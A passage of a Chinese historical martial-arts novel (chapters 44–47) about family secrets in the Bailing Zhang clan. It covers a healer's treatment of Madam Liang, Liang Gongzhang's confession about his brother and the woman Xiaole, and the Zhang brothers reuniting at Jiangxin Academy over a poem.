张司宇脸上的表情慢慢消失,极不愿六皇子再从自己脸处读出任何信息。“此事若成,我们自能各取所需。但若是败了,伯父与少主问责,岂不牵连了你与太子?”
六皇子悠悠阖上眼皮,“说话要当心,这只是我涂鸦画作,又不是符牌令鉴,与太子何关?”
“白陵的五军都督姚远舟,当年不过是一个牵马的卒子。既非将门之后,又非名族之士,能有今日,都是伯父在提携。”张司宇这一声,甚是无力,又甚是低哀,“如今军中几位将军,多是他的亲信,何况,还有那神枢营在,眼下我还无必胜的把握。”
六皇子望着毫无盛气的张司宇,“你就甘心一直居于人下吗?”
张司宇将那张绘有银龙令的画纸悬于火炉上方,视着那条隐隐彰显冲云气势的逼真银龙,良久,才认命般地松开了手。
火焰燎得滋滋做响,他看着纸上银龙绘样点点入烬,看着那个近在咫尺的荣光遥遥远去。炉火熏得眼酸泪热,拳心紧攥,“我已有良策,姚远舟迟早是我们的人。”
六皇子怏怏起身,出了流云居。
他的心思,确实鬼灵之极。
但这个人太鬼灵了,鬼灵到他的想法,一则令人摸不着边际,二则会觉是个疯子想出来的。
张天作到江心学宫后,他的一举一动,每日的生活起居,亦有人抄送至太子与城阳公主处。
六皇子在这些抄录中发现一条极隐妙的信息,陵侯夫人和白陵少主送至张天作处的信件、物件,皆由神枢营护送。唯独张天作初到那日,那封以白陵少主的名义送至江心学宫大首座的信,是张司宇的人送达的,并未经由神枢营。
以二方势同水火的关系,六皇子便臆想,那封信会不会是有心人在模仿白陵少主的字迹。
在一番调查后,他竟发觉,白陵君侯和少主已经数年未曾露面,这期间,陵侯未下过一份旨意,甚至白陵少主的旨意,均是经由楚英和陈雅安二人传出的。
结合当年血马归陵的传闻,那么,会不会是陵侯父女真遇到不测之事?
这样无端的猜测,无人会信。
可六皇子偏偏认定自己的想法不无可能,如果张之合真的不在天作之合馆内,那么,陵侯云游与少主闭关的说法,实则是张家为遮掩如今白陵城外强中干,而散出地谎言。
才有了轩辕夏与田雨萝夜探天作之合馆的一幕。
大邺的版图中,垦岭地域最广、白陵次之,凤临兵目最盛、白陵次之。
垦岭的戈壁与荒原,自是不如白陵的土地肥沃,凤临娇兵如何能与白陵铁骑对抗?
如果这份猜想为真,如果白陵真是群龙无首之局,无论是圣上还太子,都必将对北地势力重新划分,因为白陵张家坐拥的一切,实在瞩目,瞩目到不得不去忌惮。
然而,六皇子这份天衣无缝的布局中,恰恰好地漏了一滴水,挡住了凤临朝廷即将揭开羞布的手。
44. 孱躯不忘昔年
轩辕夏在十里铺一客栈外看到邱怡的青马,即地进店,推开门,见邱怡正搓制着几粒小药丸。
轩辕夏望着邱怡指尖轻捏药丸的认真模样,“邱姐,我回来了。”
邱怡只提了一眼,又再次垂下头揉校药丸,力求让每颗从各个方向看来都是正圆模样,“一切都还顺利吗?”
轩辕夏点了点头,“顺利,事儿都办了。”
邱怡自顾制着药,悄么打量着轩辕夏,“天作之合馆里是什么模样的?你们没被发现吧?”
“我跟我哥的事被伯伯发现了,不许我们去。我就陪着田姑娘在凤临待了几日。”轩辕夏一边帮邱怡打着下手,一边絮叨着。他并没有说出闯入天作之合馆的事,毕竟张之合警告他时的语气,绝非玩笑。
“那你还说事儿都办了?”邱怡玩笑似的问道。
轩辕夏一本正经胡扯道,“我哥派别人去的。”
说着轩辕夏还不自觉揉着与张之合一战后,还略有酸疼感的手腕。
邱怡看着他揉捏手腕的模样,嘴角却是一副轻笑,“小五,你的手怎么了?又去跟人打架了?”
轩辕夏立即警觉起来,遮掩道,“那个,嗯,是田姑娘掐的。你不知道,她的劲儿可大了,现在这手腕还有点儿酸呢。”
邱怡扑哧一声,找出了缓解伤痛的药膏,敷在他的腕处,坐在他旁边俯身帮他按搓起来,不忘打趣道,“你这钢铁打成的人,也有今日,是我大意了,应给你也备些伤药带上才是。”
轩辕夏的头往邱怡的头移了移,嘴角挂着轻微的孩童气,凝着邱怡的瀑发,光照在她的顺发落了影,影处显得格外暗黑。
他竟又想到了张之合黑幕般的面具,那晚与之较剑的白衣身影又在脑海中凌舞,女流之躯,却可散出那般强劲孤冷的剑光,本一柄寻常无奇的铁剑,握在她手有如神兵。
“好了。明日再上次药,就没什么事了。”邱怡转起脸说道。
视到邱怡明亮善意的眸子,轩辕夏不知怎的心头一紧,他挥刀而下时,面具下的那双眸子也是这般亮,带着一道剑光,就斩断了“镰月”。
只是,有如孤灵的张之合,她的神光,是幽幽的,是冷冷的,不像邱怡,对自己透来的,是暖意。
轩辕夏半认真半打趣道,“邱姐,不知怎的,你给我上药时,我又想到了张之合。”
邱怡神色一僵,“你不是说没见到她吗?”
说话时分,她手指轻点在轩辕夏腕间,若他泄露关于张之合与天作之合馆的一字半句,便是他失信在先。
轩辕夏恍了恍,“啊,那个,我确实没见到她。”愧疚得紧,邱怡全心全力地帮自己配制迷药和解药,还再三与自己细心排演夜探天作之合馆的计划,生怕自己出了意外。他真不落忍欺骗邱怡,也非常想与邱怡分享与张之合一战的经过,可惜张之合那晚的话,与其是警告,不如说是死神的恐吓。
“那你怎会想到她?”邱怡再度试探道。
“啊,我想的是,那张天作要是与张之合比剑时扭伤了,你说他俩是不是也会这样互相上药?”
邱怡连声一笑,故问道,“你在家时是谁给你上药的?”
“我娘。”轩辕夏好像寻到救星般,立刻向邱怡卖好道,“对,你给我上药时,我就觉得和我娘手法很像。”
轩辕夏自那日离开天作之合馆后,张之合的身影就像是在他脑中生了根似的。从小就被酒神师父夸赞习武天资高的他,不想遇到张之合,竟被打的毫无还手之力。
他也意识到,这几日,总是不经意地提到“张之合”,好想盼着自己像张天作那样,可与张之合一同生活在天作之合馆中,好日日与张之合比武。
不过,对着不知情又心思谨慎的邱怡,再这样提下去,难保不会被她洞察出什么。瞅着邱怡刚刚制好的几粒正正圆的药丸,轩辕夏转移话题道,“邱姐,这就是给梁夫人治病用的药了?就这几粒药丸能治好吗?”
邱怡瞪了瞪,觉得自己被小瞧似的,“这龙舌丹,对寒症最是有效。梁夫人只需每十日服上这小小一粒,不出三个月,我保证能将她体内寒疾除的透透的。”说着,得意一笑。
此前,他娘亲见邱怡对医术的掌握,早早发觉若她再如此学下去,不出半年就没什么可教的了,又见邱怡来自垦岭,故才放缓了对邱怡医术的教授,转让她代自己整理六皇子编撰《五州山河异志》所需的药材典籍。
邱怡带着制好的龙舌丹与轩辕夏一道回到小次山。
二人到小次山后,连梁功长见了她,眉眼间似乎都闪着喜悦与感恩。不住感激邱怡,说梁夫人喝了过她此前开的药,脸上稍现血色不说,连说话都恢复些气力了。
邱怡深知,要将梁夫人的五脏六腑内寒气驱出,并非这几味药可成。眼下只得先行隔绝梁夫人的十二经常脉与奇经八脉,如此她体内各处脏腑的阴寒气便难再互通。
邱怡取出十二根细金针,分别针入在梁夫人肩处肩井穴、项间天突穴、脐下中极穴等十二处穴位,以阻断任脉、阴维、阳维汇处。再以火艾灸其手足十二经脉穴道。邱怡暗叹梁夫人真是女中豪杰,即使处处被烧灸得发焦发黑,也未吭出半声。
梁功长粗通医理,又习过点穴与解穴的功夫,本以为自己对各处穴位所知甚多,但与邱怡相较,却觉自己所知不过末学,不时出言向邱怡讨问。邱怡一面为梁夫人艾灸,替她取出体内寒气,一面与梁功长详细阐述。等十二经脉数处穴位悉数灸完,已快至三更。次日一早,邱怡再度以针艾为梁夫人祛任督二脉所属的奇经八脉内的凉寒之气。
若说手足十二经脉是杂枝旁叶,那任督所属的奇经八脉便是壮干深根,要去除其内阴寒,更是废神。待全部完成时,太阳已下了小次山头,邱怡让梁夫人先服用了一颗龙舌丹,而后又潜心拟了一张温补药方,以祛邪扶正之用。
再日一早,梁夫人醒来后竟觉精神健旺了许多。
梁承欢不住向邱怡表达感谢之意,邱怡却回复说是“初见微效”,若要驱出全部邪寒之症,少说也要等到来年春日。<
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p>看着夫人神头现好,梁功长提着的心也跟着放了下来,他心中所藏的另一件事,自也是难逃邱怡慧眼。终趁着无人再旁时,将邱怡邀到书房,见邱怡果真携了两卷画轴来。
邱怡递上卷轴,语气轻松道,“梁掌门,幸不辱命。”
梁功长本未抱太大希望,白陵虽有丹青画家,若从这中寻到见过张司宇模样之人,多是难找,不想竟真让邱怡找见了,还一气带来了两幅。梁功长对着第一幅画瞧去,图中是一束发的白马少年,手握缰绳,身负一杆银色长枪,松壑来仪,神采不凡,五官长相更是人中翘楚。
梁功长抚着画上少年的眉眼处,不禁叹道,“他都长这般大了。”
邱怡心中暗笑,见梁功长眼珠子久久没能离开画中的纵马少年,她又将另一副画打开,展到梁功长眼前。
梁功长表情霎地沉重了,眼皮子也随着耷拉下来,眼眶渐渐发红,茂密的胡须一抖一颤,喉咙里咕噜着似是哽咽住了。
画中仍是那位气度不凡的少年,只是那少年身后,站着一位中年英汉,那汉丹眉凤目,光华内敛,大将风采,一手背在腰后,一手端在身前,微屈背脊,视向那位少年,眼中透出一份难以名状的舐犊之色。
梁功长视着那中年汉,心中说不出的酸涩。
邱怡明知故问道,“这男人是谁?”
梁功长望着邱怡难得的求索神态,问道,“作画的画师未告诉你这是何人吗?”
邱怡垂眸否认。梁功长又道,“邱姑娘,这画是何人所画?”
梁功长认得,画中之枪是冲云枪,张家轻易不会将此枪示人。画中之人除了他牵肠挂肚的张司宇,还有令他翻肠绞肚的大哥张鸢,二人如此温馨相处的场面,更绝非寻常人可见。
“请一位几年前进过北极宫的画师所作。”邱怡随口道。
江邑潘家,琴棋书画样样俱佳。
陵侯夫人自然会教授一双儿女这书画之技,她虽未有张天作那双使笔下生花的妙手,但也颇有小成。尤其画的还是自己最为敬爱的父亲和极是熟悉的二哥,自然形神俱在。
梁功长小心翼翼抚摸着第二幅图上的两人,每一次触碰仿佛都是在对过去时光的深怀,“这位是鼎鼎有名的素衣剑仙,白陵君侯张鸢。”
邱怡假作恍然,“原来这就是你的大哥?”
梁功长不置可否。他曾喊过这人一声大哥,但那时,他还未为自己改名为梁功长。“梁某一介武夫,岂敢攀附白陵君侯?”
邱怡转而又对着作画上的一老一少道,“若不是前辈言明,我倒觉这二人像是一对父子。”
梁功长心噎。有谁会将画上这位衣冠齐楚的意气少年,与自己一蓬面垢须的草莽江湖,联系到一处。
邱怡眼波闪了闪,瞧瞧眼前虬髯如野丛的梁功长,看看画上英气朗面的张司宇,努力找寻着二人父子相似之处。
只见一双黑白分明的亮目中,忽地闪出一抹调皮与狡黠,“细瞧来,张司宇与梁掌门的眉眼,倒真是一个模子刻出来的。”
45. 丹青墨
梁功长闻声望去,饶有兴味地盯着张司宇的眉目。一团密密麻麻的大胡子下,邱怡也不知他是不是在笑,只觉他的眼底愈来愈凝重,透着一股子极盼着被肯定的神色。
邱怡寻机道,“不说还不觉着,梁掌门若是去了胡须,和你大哥也是越看越像。”
梁功长眼眸中透出强烈的苦涩感,他故意蓄了满面凌蓬蓬的胡须,就是为了自己看起来不像是一向以衣冠素整、端庄持礼自居的张家人。“梁某不敢当。”
邱怡神色一黯,本想顺其心意说出的讨好言语,竟也被冷拒。遂试道,“你日日辛苦藏着的那些心事,我早明知,在我面前,不必这般自苦了。”
梁功长喉咙里像是枣核卡住了一般难受,他垂下眼帘,沉默了一会儿,才对着身前这位忘年知心人吐露,声音更是带着一丝苦涩与无奈。
“白陵张家以军马鼎力天下,以武高为荣。两门家传武功,一是张家剑法,一是回龙功。若同时练了这两样武功,便是再寻常的人,不出二十年,也可成为一等一的高手。我和张鸢自幼随叔父习练这两门武功,父亲虽说过,我二人谁练得好,今后就将白陵城交给谁。但我清楚,他更属意张鸢,这么说,无非是希望我能勤勉些,不要没了张家武学之名。何况张鸢,根骨确比我好,我本是心服的。”
梁功长回忆着,一种说不出的酸楚,从他心底涌出,“那年,东海顾氏的一家人来访到墨白城,家父见其女顾舜华文采通达,言行举止很是有当家主母的风范,对她很是满意,想为张鸢结了这门亲事。可张鸢听了,却来问我,想不想娶顾家小姐。我不明白他为什么这么说,就问他是什么意思。我才知道,那时张鸢已有心上人了,那人便是日日女扮男装在他身边的小乐姑娘。我细问才知,原来,张鸢此先闯荡江湖那些年,就一直将小乐带在身边,二人朝夕相伴,早已生了情。”
邱怡眉中蓦地一恸,双目灼灼发亮。
心下不由自叹道,枉我在清农打探了三年,都未能探得对小乐的只言片语,原父亲早早将此告知过二叔。
转念一想。
二叔当年与父亲争得那般水火不容,其实,他只消肯稍动些心思,单凭父亲与小乐的旧事,就足令父亲今生与白陵君侯之位无缘了。
“后来,梁掌门就代令兄娶了顾家小姐吗?”邱怡随口道,心中暗自盘算起,是否该继续打探些小乐的消息。
梁功长默住了,每一次呼吸,都带着一丝晦涩,“第一次见到舜华时,那天的阳光真好,照在人身上暖洋洋的,连风吹叶子的声儿,都极为轻悄。舜华穿着一身明黄衣裙,戴着一串珍珠链,她嘴角一提来,就像三月春晖一般温暖舒适,让人忍不住想要多看几眼。几日相处下来,我发现她与白陵女子很不一样,舜华特别的温柔,一颦一笑都令人难忘。我也是第一次知道,原来习武,不只是为了争天下第一,还可以为她去摘树上的花,捉田间的蝴蝶。”
往事浮现,梁功长又想起那年的白陵秋日,已故妻子的一舜一华,刻骨铭心。“我不是有心去与张鸢争抢,是张鸢先说他不会娶舜华,我才去向父亲开口的。最后,经历了很多波折,家父终于同意了,为我和舜华订下亲事。”
邱怡深情凝视。
如此草莽大汉,回忆亡妻,初遇时一举一动,都款款深情,对待现妻,进服的一汤一药,亦细细学询,还宁可自己离门,都不愿揭发父亲的丑事,当真是深情重义至极。
梁功长继而用平静的声音回忆起,“也是从那之后,墨白城就渐渐有人议论,说我是贪图白陵少主的位置,才要娶舜华的。清者自清,我自然不会放在心上。但是后来,小乐嫂嫂私下找到了我,是她求的我,我才不得已要为那个位置去争上一争。”
梁功长手指慢慢收拢,紧握成拳,任着指甲嵌入肉里,恨斥道,“那之后,我也渐渐认清了张鸢的真实面目,他是既想要佳人,又想得到白陵的高位。后来,他甚至为了那个位置,娶了江邑潘氏贵女,简直无耻至极。尤其是潘氏为他生下了一双儿女后,我永远忘不了那个画面。我父亲抱着我那新生的天作侄儿笑逐颜开,他张鸢,平日笑都不笑的一个人,竟会对着怀里的张之合笑得嘴都合拢不上,就好像小乐从来没存在过似的。我真是为小乐不值,竟为那样一负心人,误了一生,等了一生。”
邱怡眼神忽明忽暗,觉自己心头在被一把无名的火烤着。
梁功长脸色铁青,眼神却甚是空洞,无奈道,“我过发誓,一定要得到那个位置,好让张鸢死了心,能再回到小乐嫂嫂的身边。可惜,我还是输给了他,舜华也走了,小乐嫂嫂,她终是没等到张鸢。我不是他,学不来他那样虚假的嘴脸,更是不屑今后向他那样狼心狗肺的人俯首称臣,就摔了匾,离了家。”
邱怡审凝着神色端重的梁功长,岁月的沧桑在他脸上画下的道道皱纹,每一条都带着岁月的苦涩。
她悠悠低垂,“这么说来,小乐才是被辜负的那个。那她,现在何处?”
梁功长眼神中闪烁着无尽的挣扎,仿佛有无数个声音在内心交战,“小乐嫂嫂,已经不在了。今日若不是遇到姑娘,这世间,除了我和张鸢,怕是不会再有人知道这中细由。”
空气凝滞半晌。
邱怡方缓缓开口道,“那她的家人呢?难道他们也不知道吗?”
梁功长微微仰了仰头,平复着内心的汹涌,“她跟我一样,是无家可归之人,总是说,张鸢在哪儿,她的家就在哪儿。”
小乐无家可归,因此连个正经姓氏都无。
可梁功长呢?他在小次山上,有妻女为伴,难道他心中的家,还是在白陵。
邱怡反应了一小会儿,“晚辈自当守口如瓶。”
梁功长附声道,“我若不知姑娘为人,怎会这般同你倾吐往事?”
邱怡眼中闪过一道异色,停愣良久,嘴角才重新勾起,“梁掌门,你我也算是知道些彼此的秘密了,晚辈斗胆再冒犯一句。梁掌门这番心意,虽未与人说过,但梁夫人既是你如今的枕边人,想必也是可察觉出一二的。
梁功长怔怔盯视,“你是说小乐嫂嫂的事?”
邱怡摇了下头,说道,“我是说张司宇。”
梁功长的眼珠仿佛铆住了,半天未转动。
邱怡继续道,“不然,梁夫人又怎会如此想为你生下个儿子来?”<
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梁功长有些失神,一语惊醒梦中人,难怪那年丧子后,夫人会那般介意。私以为自己从未同夫人说过白陵旧事,更未提过张司宇半个字,自己对白陵一切的隐隐怀念,却未逃过夫人的一双眼睛。
他苦笑道,“她真是傻,我是想儿子,但这念想也不是再生个就能断的啊。”
邱怡淡淡问了声,“为何你当年,不将他一起带走呢?”
“一人做事一人当。”说到这话,梁功长神情复杂地看着邱怡,细心解释道,“我岳父虽是东海顾氏,但在族中地位低下,愿与之往来者甚少。他带舜华到墨白城来,想的也是为她寻门好的亲事,免得他百年后,舜华更被族中轻视。我若因一己私怨,连累司宇被张家除名,这让我到九泉之下,该如何面对舜华?何况……”梁功长再度停顿,脸上留出一丝痛苦的表情,仿佛有话要说,却无法开口。
邱怡默默接道,“何况,令兄知你因何生怨,因何离门,凭着他对你的这份愧意,也不会亏待了你的儿子。”
梁功长咬着下唇,轻阖眼皮默认着。
邱怡说道,“你还是赌赢了。我听那位画师说,令兄确待张司宇不薄。只是可惜了,你牺牲这么多,小乐还是没能等到她心上的人。”表情虽柔和,但眸子里却闪烁着极其强烈的欲望,“如果你早已知道了结局,你还愿意为小乐做这些事吗?”
梁功长适才咽下苍喉的委屈又涌了来,比起小乐所做的,自己承受的,简直不值一提。
“愿意。”
“愿意?”邱怡双目渐圆渐惑,是吃惊,是诧异,是难以理解。
“你还年轻,怎会懂得这种心境。”梁功长语气坚定道,“山河不足重,重在遇知己,小乐嫂嫂她确实值得。”
邱怡表情如同一片湖水,心底却已死死沉住了,深深思量着梁功长自我宽慰的涩言。
父亲一生,都在教养我,要做行止君子,不想却有如此私德。
他连累了小乐娘亲郁郁而终不说,还连累了二叔有家难回。覆水难收,大错已然铸定,为人子女者,也当为其补救一二,方是孝道。
如今二哥手揽白陵大权,最希望见的,莫过于父子团圆,我绝不能让二叔与他再像娘亲一般,留有终身之憾。
转而开口吐露了句,“梁掌门想见张司宇倒也不难。”
梁功长亦无需在邱怡面前隐着对张司宇的思念,只道,“去一趟白陵,对老夫而言确不是什么难事。”
邱怡迎着梁功长那忡忡目光,“我知道,对问天剑梁功长来说,是轻而易举,但对昔日张鸷而言,却是难上难。此前我正巧遇到了张天作,跟他聊了几句,他告诉我,冬月二十九,张司宇会去江心学宫为他行及冠之礼。他是从白陵出发的,云间城小次山可是他的必经之地。”
梁功长下意识敛起复杂的神情,轻轻回了句,“多谢了。”
活在白陵外的白陵人,对白陵城的忧心挂念,丝毫不比墨白城中的人少。
这样的一夜,梁功长仿佛回到了墨白城,邱怡对着与自己同出一宗的叔父,有如找到与父亲相处时的点滴,二人各自秉着对过去的回忆,暖着心中的焰火。
46. 再催旧忆洇
风月相知,行至天光,晓色云开,梁功长越谈越是将邱怡视为忘年之交。
邱怡告别梁功长后,回房打了个轻盹儿,又如往去到梁夫人房中为她行针。
一夜畅谈,她与梁功长的距离近了,对待梁夫人,也更为亲切,更为尊重。言辞间提醒着梁夫人,她早过适合孕育之身,与其拼尽心血再生个儿子,不如多多疼爱家中如花似玉的靓俏乖女。
经过邱怡月余的治疗,梁夫人身体愈发好转,愈发康健。时间一晃到了冬月中旬,邱怡与轩辕夏再下小次山,赴往江心学宫。
梁功长送二人下山离去后,也不像此先一般即刻回山,而是寻了一茶棚,给了棚主一锭银子,说是要租他的茶棚用一个月。那棚主当即答应,这锭银子,莫说租用一月,就是买下整间茶棚,也绰绰有余了。
冬日的寒意,难凉梁功长一颗热乎乎的心。他几日来撸袖露臂,招待往来行人过马,尤其是北面方向过来的,都格外留意。
黄昏时分,夕阳西坠,余晖将大地上的万物镀上一层金色,犹如梦幻一般。
静谧悄悄,梁功长听到远远处传来一声马的长长嘶鸣,接着又传来阵阵蹄声,梁功长再度探身望去,遥远的土冈上,一匹雄壮的雪龙骏昂然而立,将身后一骑远远甩开。
马背上骑着一银袍伟岸的身影,夕光照耀下,与那匹如雪般白泽的骏马,一体通亮。
梁功长似乎还看到了那男子的剑目和星眉,比图画上更加练达,更加英气。当那匹大骏驰过梁功长身边时,马上银袍的男子无意中回过头来。
一双漠视的目光突然和梁功长的目光碰到了一处,梁功长只觉自己的跳心被拽进了深渊,注送着那一骑银影南去。蹄声去了,双骑之影亦消失在视线,梁功长缓缓仰头,望着水洗般的蓝穹寂空。
心中对张司宇的懊悔也不再那么沉重。
当年,若是将他一并带离墨白城,哪来如今意气英发的白陵战神,他又能从哪里为他寻来那样一匹神骏的白马与他相配。在儿子光辉而灿烂的人生中,这份父子离别之苦,也许只是他童年中一段带涩的回忆。
张司宇毫无察觉,刚刚与其对视的一副炬目来自何人,只急切地向着江心学宫而去。
身后的楚英,一路亦是火急火燎,不仅是加鞭追逐着张司宇的骏马,更是想快些见到张天作与陈雅安。
可二人到江心学宫后,只见张鹏一人来迎。
张司宇询问张天作在何处,听到他正与林兮在房中,为新曲作词,心中一愠,不想弟弟到了江心,还是终日不离琴乐。
片刻不缓地“杀”到张天作处,一推门,却见屋中正圆桌上,围坐了三人,除了他认识的张天作和林兮,还有一位面容清丽的绿衫女子。那女目色端凝,左手执着笔,笔上浸满黑色的墨汁,在他推门前,似乎正在书写着什么。
张天作正后身的位置,陈雅安仍是一身黑衫,双臂抱胸,用着他记忆中那股厌恶甚极的冷目狠狠盯视着他。张天作看到他进来,先是诧异,而后也投出冷而不善的目光。
张司宇知道,他是在怨自己苛对他的母亲。
还未等林兮张口,楚英率先进门,快言道,“兄弟们,我来了。”说着,他已闪到圆桌边处坐下。
张天作看到楚英,心里也跟开了花似的,脸上早不见任何不耐烦的敌意,不忘介绍道,“楚英,这位是林兮,旁的是邱怡邱姑娘。”
而后更是温言地向邱怡说道,“邱姑娘,这位是楚英,他与雅安一样,都是和我一起长大的好兄弟。”随着将手引向门处的张司宇,“那边是家兄,张司宇。”
邱怡见张天作如此郑重地为自己引荐,撂下笔,缓缓起身,分别向二人行了一礼,并未言声。
正好借此机会,可正经向张司宇看去几眼。
如今的二哥,长身玉立,触目精妍,早已抛却年少时那云心月性般的谦谦风采,取而代之的是一股萧萧肃肃的浩然英气。人只消往那一立,便觉其如沉渊渟蓄,可与山岳相峙。
张司宇当着陌生姑娘在,不好发作,只肃着嗓音道,“林兮在江心,倒是方便你新曲填词了。”
张天作得意一笑,“本来林兮已经写的很好了,可他说,邱姑娘的文采更好,这不?还专程请邱姑娘再来润色润色。”
张司宇收起正色,“还不快过来,让二哥瞧瞧。”
张天作才刚刚起身,张司宇已三两步站到他跟前,细瞧起他那玉泽般的润颜,如今已是完成长开,眉眼间舒和却依是自持清举,再瞧不见孩子气。
张司宇很是满意,又上下不住地将他周身打量一番,最后,双手拍了拍他的双肩,不忘捏摁几下,只觉手底的团团实肉也正绷着劲也自己较着,感慨道,“你长高了,也长大了。”
楚英回目瞥看,不屑道,“你瞎的吗?雅安这些年也长了不少。”
只这一句话,陈雅安就感到楚英这些年从张司宇身上积攒来的怨气。他亦有满肚怨气,张司宇奸巧地仿着张之合的字迹,用一封白陵少主的手书,将自己困在这里,无法回到白陵。一想到此,他盯视张司宇的目色也更加森冷起来。
“司宇兄,想你与天作是有许多话要说。邱怡,我们先行告退吧。”林兮提议道。
邱怡面上虽是林兮之友,但对这几人更为熟悉不过,早早洞明他们的不和之气,却一反常态道,“张公子正在兴头,你可千万别扫了他的雅兴,快坐下来,我们继续。”
话音方落,邱怡便重新提起笔,准备再写点什么,将正欲客套请让的张司宇惹出一脸不悦。
楚英听到,心中诧笑不已。在白陵,人人不敢忤张司宇,不想江心学宫的一位小小女子,竟这般不愿给他颜面,还懂得搬出张天作来说话。为邱怡撑腰道,“对对对,别因我们断了你们的兴致。
见楚英爽朗如故,邱怡莞尔回之,笔尖对着纸稿问道,“适才我们改到哪儿了?”
林兮不知是该走还是该留,难得见邱怡如此有兴致,不忍拂她意。
张天作却饶有余味回道,“到这句了,‘碧落黄泉未成聚’,邱姑娘你说这句韵脚不好。”
张司宇自有许多要关怀张天作的话语,但对着一位不曾相识的姑娘,他也不好太过严声厉色。只一把将邱怡笔尖将触的纸页抓起,
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看看他们这般兴师动众是在填一首什么样的词。
邱怡嘴角的笑意霎时没了。本以为张司宇强行夺走纸稿,是要下逐客之令,正要嗔怨,抬眼际,见张司宇默读起了词稿。
改蹙起眉头,凝沉双目,腹诽道,二哥,不想你还是这般好为人师。
一首短词,张司宇反反复复看了多遍,面色端肃,眉目深锁,良久后眼尾微微弯起,缓缓道,“‘碧落黄泉未成聚’这句不只韵脚不对,与上文的‘天上人间’接连出现,也是重复。”
说话间,他的眼角眉梢尽是笑意。接着,露出一股沉思之色,不过片刻,张司宇说道,“四海无人对夕照。”
林兮正斟酌着,前面明明在写月色,后文改话夕阳,是否乱了时序?
听道张天作喃喃嘀咕着,“这是写星月的。”
张司宇露出一个无奈的微笑,“孤山野径,若是有人同观夕阳,何愁无人共赏星月?”
见众人皆默,张司宇瞥了眼邱怡,又对张天作道,“改也改好了,现在,可以请林兮和你的朋友先离去了吗?”
张天作面露为难,他也极想送走林兮与邱怡,和楚英叙旧,但张司宇不容商量的语气,却令他一时间不想从命,又不敢逆二哥的意。
楚英亦不爽,挑刺似的驳道,“改得哪里好了?我看还差得远呢。”
张司宇知楚英是故意让自己难堪,只道,“是与不是,非你一人之言。”
楚英脸上挂着一股嘲讽,望了望冷目的陈雅安,又视了视如噎的张天作。屋内六人,其中三人是天作之合馆中同生同长的兄弟,即使票选,数量也是占优,何会畏惧素日来一言堂的张司宇,提议道,“要不我们一起评评来?”
邱怡才是明了,与张司宇比试填词作句,肯定是讨不到便宜,只道,“张公子,令兄纠改得可还合你心意吗?”
张天作款款点着头,温温回道,“正是我意。”
邱怡淡笑,又借着一股很是崇拜的语气道,“太好了,听说天作之合馆的剑琴鹰犬都很是出色。不知今日我是否有幸,可以听到张公子为这篇新词奏一曲?”
林兮心叹,邱怡才到清农时,青涩懵懂,生于山林乡野的她,与人疏离,对着那生机鲜活的万事万物更是无甚入心。
不想几年后,她不仅知道白陵城有天作之合馆这样一个地方,甚至,她心思亦如她的才思一般灵巧敏捷,说起话来,既懂得顺着张司宇的意,又不扫张天作的兴。
张天作知道张司宇极不愿自己终日沉浸在琴画中,才将自己送来江心学宫练武,故而他也不会再当张司宇的面主动提抚琴奏乐之事,甚至在张司宇赶来前,他早将自己的琴装箱收存,免得张司宇瞧见后又要训斥。
现下,邱怡提议起,他正好表现道,“雅安,去,将收好的竞仙琴取来。”
陈雅安回了声“是”,便顶着张司宇一双不满的视目,径自朝安放竞仙琴的木柜而去。
张司宇越是不喜,他便越是暗快。如果说楚英只是纯粹的看不惯张司宇,那他对张司宇简直厌恶之极,即使他清楚自己难敌张司宇一掌,但也从不惧他怕他。
47. 手足齐相会
“竞仙琴?”邱怡忽提了句。
张天作道,“这张琴虽不像符光剑那般人人皆知,但当年确是这琴伴着家父名盛天下的。”
邱怡目眶一热,饶味看向林兮,笑赞道,“林兮,我们今日真是走运,既见着了天作之合馆的忠犬,又可听得张公子弹奏素衣剑仙的琴。”
林兮瞥到张司宇威肃的神色,低声应和道,“你有耳福了。”
话音落时,陈雅安已将一张扁长的古琴轻放置张天作身前,桐木的琴身,简约不失雅致。可琴间最下方的,确是一根残弦,林兮瞧着那根断弦中间似乎被人去过一断,即使抻直两端弦头,中间似乎还空出几寸。
问道,“天作,这弦怎么断了?”
张天作回道,“断很多年了。”
林兮目色大诧,“你的琴音,都出自这断弦之琴?”
张天作熟练地将指腹贴上五弦,“五弦足矣。”
邱怡默望着那琴,父女独处时,父亲就常为她抚琴。
古琴断弦本是常事,竞仙琴前五弦,宫商角徵羽每每断裂,父亲都会续上新弦。
唯唯下方两弦,她第一次见到竞仙琴时,第七根弦就已经是断的了,父亲生怕第六根用久而断,也从未碰过它,更不许她与三哥碰。
她也曾好奇,如此弹奏,会不会影响曲乐之品,母亲则耐心讲起,七弦琴实则是由五弦琴发展而来。
邱怡默默说道,“古琴本五弦,金木水火土,而后添二根,是为文与武。”
林兮喃声,“陵侯爷曾以一柄符光剑败尽天下英豪,想必这根断了的武弦,是为纪念他游历江湖的那段时日吧。”
张天作解释道,“文弦和武弦指的不是文武之文武。曾有位叫周文王的君主,他的长子被暴虐的商纣王所害,可商国强大,报这丧子之仇,他心有余而力不足,为悼念长子,才在五弦琴上添了一根,是为文弦,时刻提醒自己遇事隐忍,以柔应刚。他的另一位儿子武王数年后高举义旗,讨伐商纣,为鼓舞兵心士气,在其后又添了一根武弦,寓意以刚制柔。”
张司宇却是无奈,见张天作见了琴,兴致较之填词时更加浓郁,又见楚英与陈雅安丝毫不欢迎自己的模样,再留也是无趣。
朝着一直去留都不甚自在的林兮道,“林兮,随我出去走走。”
自张司宇进到这间屋来,遑论对他充满敌对情绪的楚英三人,还是逆拂张司宇意的邱怡,都未顾过张司宇的脸色。林兮只得应下,留邱怡继续同张天作抚琴吟词。
张司宇不知是忘了还是有意,出屋时,手中还拿着林兮与邱怡的词稿。
张天作自不敢提醒二哥留下墨纸,目送着他阔步而去。随着关门声响,邱怡悠悠将笔递到张天作眼前,朝他意味一笑,。
张天作意会,把竞仙琴往远处一推,拈来两页素白的宣纸,随着邱怡声声口述,一篇笔酣墨饱的《雨霖铃》跃然而现。
「风清天灿。与谁同坐,寂隼孤犬。山篱短短斜径,十分好月,人圆难见。两地清光满满,盼,寒褪春返。恨只恨,天上人间,四海无人对夕照。
银湾尚且横直伴。看人间,北斗参差乱。红尘滚滚寥落,新岁切,岂能无念?万里功名,白马银鞍飒沓河汉。莫惧命,换了沧桑,并辔双星耀。」
邱怡不禁心赞,天作笔意愈发进益,一副铁划银钩,笔笔如仙露明珠般灵气。抬头又见楚英的神态,他是个心思都摆在脸上的人,从张司宇离去时的得意洋洋,已变有急切催促之色。
邱怡淡声道,“张公子,不速之客走了,我也可以告退了。”
